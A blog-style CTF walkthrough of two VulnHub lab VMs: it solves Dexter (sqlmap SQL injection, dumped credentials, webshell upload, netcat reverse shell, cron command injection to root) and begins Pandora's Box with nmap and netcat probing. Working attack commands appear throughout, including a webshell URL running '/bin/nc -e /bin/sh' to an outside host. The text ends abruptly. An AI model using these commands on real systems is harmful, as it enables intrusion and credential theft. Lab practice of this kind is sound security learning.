sqlmap identified the following injection point(s) with a total of 4644 HTTP(s) requests:
---
Parameter: page (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (comment)
    Payload: val=AA==&page=%' AND SLEEP(5)#
---
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.12

This one gives me results, and if i’m reading the blog post and source code right, the app is taking the key, AA==, and the data input through the
“page” parameter, encoding, then sending that data to mysql. Now it’s just a matter of fumbling around the dbms until I find the data I want.

1. learn where I am, and who I am.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --identify-waf --dbms mysql --current-user --current-db 

---
Parameter: page (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (comment)
    Payload: val=AA==&page=%' AND SLEEP(5)#
---
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.0
current user:    'root@localhost'
current database:    'nasproject'

2. Learn what other users exist.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --identify-waf --dbms mysql --users --passwords 

back-end DBMS: MySQL >= 5.0.0
database management system users [5]:
[*] 'debian-sys-maint'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'dexter'
[*] 'root'@'localhost'

database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: *BDE9D5DC64375262E4559449F728695598D30713
[*] root [1]:
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    clear-text password: password

Nice! root/password is a valid db user. Doesn’t work through the web app though.

3. Learn what other databases exist.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --identify-waf --dbms mysql --tables

[09:05:58] [INFO] fetching database names
[09:05:58] [INFO] fetching number of databases
[09:05:58] [INFO] resumed: 4
[09:05:58] [INFO] resumed: information_schema
[09:05:58] [INFO] resumed: mysql
[09:05:58] [INFO] resumed: nasproject
[09:05:58] [INFO] resumed: performance_schema
[09:05:58] [INFO] fetching tables for databases: 'information_schema, mysql, nasproject, performance_schema'
[09:05:58] [INFO] fetching number of tables for database 'nasproject'
[09:05:58] [INFO] resumed: 5
[09:05:58] [INFO] resumed: bots
[09:05:58] [INFO] resumed: commands
[09:05:58] [INFO] resumed: config
[09:05:58] [INFO] resumed: logs
[09:05:58] [INFO] resumed: users
[09:05:58] [INFO] fetching number of tables for database 'performance_schema'
[09:05:58] [INFO] resumed: 17
[09:05:58] [INFO] resumed: cond_instances
[09:05:58] [INFO] resumed: events_waits_current
[09:05:58] [INFO] resuming partial value: events_waits_hi

Here I killed sqlmap because everything other than “nasproject” looked like a system db, and I’d rather spend my time attacking the application for the moment.

5. Find a valid user for the application.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --dbms mysql -D nasproject -T users --dump

[09:14:25] [INFO] fetching columns for table 'users' in database 'nasproject'
name
[09:22:36] [INFO] retrieved: password
[09:39:36] [INFO] fetching entries for table 'users' in database 'nasproject'
[09:39:36] [INFO] fetching number of entries for table 'users' in database 'nasproject'
1
loserbotter
if i had any real talent, i would make money legitimately
[11:58:41] [INFO] analyzing table dump for possible password hashes
Database: nasproject
Table: users
[1 entry]
+-------------+-----------------------------------------------------------+
| name        | password                                                  |
+-------------+-----------------------------------------------------------+
| loserbotter | if i had any real talent, i would make money legitimately |
+-------------+-----------------------------------------------------------+

Bingo. Now I have the access that everyone else got from just running the author’s script. To break back out how the sqli works, you need a static val, AA== to be encoded with/by the page parameter. Then you can set to work on the DB. The author knows this b/c he read the source, and everyone else just used his script. I’m not better for doing it the hard way, but I feel like it was worth the effort to get more practice.

Now I have authenticated access to viewer.php, master.php, and upload.php. viewer.php didn’t really look interesting, master.php looks really polluted by sqli attempts, and upload looks like an upload. Ooo, yeah.

dexter_upload.php

However, I have no shells. tools.kali.org to the rescue!

$ git clone git://git.kali.org/packages/webshells.git
Cloning into 'webshells'...

remote: Counting objects: 80, done.
remote: Compressing objects: 100% (71/71), done.
remote: Total 80 (delta 15), reused 0 (delta 0)
Receiving objects: 100% (80/80), 39.09 KiB | 0 bytes/s, done.
Resolving deltas: 100% (15/15), done.
Checking connectivity... done.
$
$ ls webshells/
asp	aspx	cfm	debian	jsp	perl	php

Honestly, of all the tools I use for things all the time, git, in relationship to people sharing their hard work, is the best tool. “git clone” is magic. If it’s not what I need, I can modify, and if it does what I want, even better. Repositories like webshells and sec lists are even better since they’re guaranteed to work anywhere git does because they are just text files.

So we upload our backdoor, and get even more info that we hoped!

dexter_uploadfile

Yup, it works!

dexter_backdoor

Now I need to know what account I’m running under, and what I can effect with it. Abbreviated to the shell commands, but you can trust I ran them through the browser. It’s all the more access I have at the moment.

$ whoami

www-data

$ ls ../

config.php
exes
gateway.php
index.php
info.php
load.php
main.php
master.php
pagination.php
style.css
upload.php
viewer.php
viewer_pagination.php

Speaking of all the more access…that’s about enough of that. Throw this,

http://192.168.56.101/Panel/exes/simple-backdoor.php?cmd=/bin/nc -e /bin/sh 192.168.56.1 2222
, through the browser and we’re in!

 
$ nc -lvp 2222 
Connection from 192.168.56.101:60914 
ls -la 
total 12 
drwxrwxrwx 2 root root 4096 Aug 10 08:31 . 
drwxr-xr-x 3 root root 4096 Mar 16 2014 .. 
-rw-r--r-- 1 www-data www-data 328 Aug 10 08:31 simple-backdoor.php whoami www-data

Ah, interactive shell! Still only www-data. Which is nice, but not enough.

cd ../
pwd
/var/www/Panel
cd ../
pwd
/var/www
ls
Panel
antitamper.list
antitamper.py
index.html
tamper.log

OK, now we have potential. What are these anti tamper files? .list is just that, a list of json.

cat antitamper.list
{
"/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac",
"/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2",
"/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3",
"/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed",
"/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97",
"/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15",
"/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42",
"/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423",
"/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95",
"/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec",
"/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c",
"/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64"
}

.py is a script that opens .list, reads the content, and for each value iterates through an md5 check.

cat antitamper.py
import os
import json

def check():
with open('/var/www/antitamper.list') as f:
content = json.loads(f.read())
    for f in content:
        s = "echo '%s  %s' | md5sum -c --status >> /var/www/tamper.log" % (content[f], f)
os.system(s)
check()

With a shell command. It stands to reason that if one were to modify the source file, antitamper.list, you might could just get straight command injection. I wonder what executes antitamper.py?

So after beating my head against the wall continuously for about 8 hours, it turns out that commas are significant in json, which means that this:

Screen Shot 2016-08-18 at 10.38.36 AM

is not the same as this:

Screen Shot 2016-08-18 at 10.38.46 AM

Once I got through that hurdle, I got root.

Afterword:

I learned a whole lot more than anticipated on this one, and in addition have new questions. When going down wrong paths not seeing my typo, I found that it’s a cron job running the python script every other minute. That’s how I get a root shell. But how would you enumerate that without access to the OS at another level? This time I got so pissed I mounted the .vmdk(through a really sweet tool, http://vmxray.com) and checked to make sure that’s what was actually happening. I don’t know how you avoid this in the wild. Other than, of course, not typing your exploitation.

Sources:

http://devloop.users.sourceforge.net/index.php?article90/solution-du-ctf-dexter

http://staringintodevnull.blogspot.nl/2014/04/dial-m-for-murdering-dexter.html

VulnHub Pandoras Box lvl 0

Disclaimer: My solution below is not unique, it is an amalgamation of techniques I grabbed reading the walkthroughs linked on VulnHub.com. If I failed to give anyone credit, their hard work is linked out from the vulnhub page and I urge you to read their write-ups as well.

Pandora’s Box is a VM created by c0ne. This wasn’t the second, or even the third VM I tried to work through, but it is one I found worth writing up, because it took me way to long to do a simple thing.

Level 0 is found by a simple port scan. My first try only showed me 22. Since I am still mostly copying others work, I knew this wasn’t the place to start. My original attempt with nmap was this,

$ nmap -sV 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0022s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds

The best way to learn sometimes is, actually to RTFM. -sV scans and looks for versions, but by default does not scan every port. ‘-p-‘ gives you every port. This gives me the results I’m expecting.

$ nmap -sV 192.168.56.101 -p-

Starting Nmap 6.47 ( http://nmap.org ) at 2016-07-29 08:56 EDT
Nmap scan report for 192.168.56.101
Host is up (0.00096s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
54311/tcp open  unknown
1 service unrecognized despite returning data. 

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 198.16 seconds

So now I have seen the port I know is there, what can be done? netcat gives a response, an unlimited, unrestricted login prompt.

$ nc 192.168.56.101 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: q
Invalid password!
Password: 
Password: 
Password: 

With that, the obvious solution to me is to attempt to login. But how? I can see writing a script to brute it, but I don’t know how to validate it. Smarter heads than I seemed to observed delays that would recommend using a timing attack. Thanks, rastamouse! Rasta has great idea, but I wanted a little more hands on practice and effort, rather than copy/pasting someone else’s code, watching it run, then reporting it here like i did something. So I poked around and found jelleverg’s awesome tutorial. His script looks way more hackery than rasta’s, so I thought it would be fun to port to python3. Holy crap. Amateur move. Probably about 6 hours of fumbling, googling, fumbling, and more googling, and I still never got anything even remotely working. After stumbling a bunch, I finally just ported over rastamouse’s super simple, still kinda broken script. I had to learn about how python3 handles raw socket communication(bytes vs strings). For posterity, I have saved the script, and my other attempts out on my github, but that’s up to you to research, since they’re nothing I’m proud of. The last one finally does work in python3 though.

tty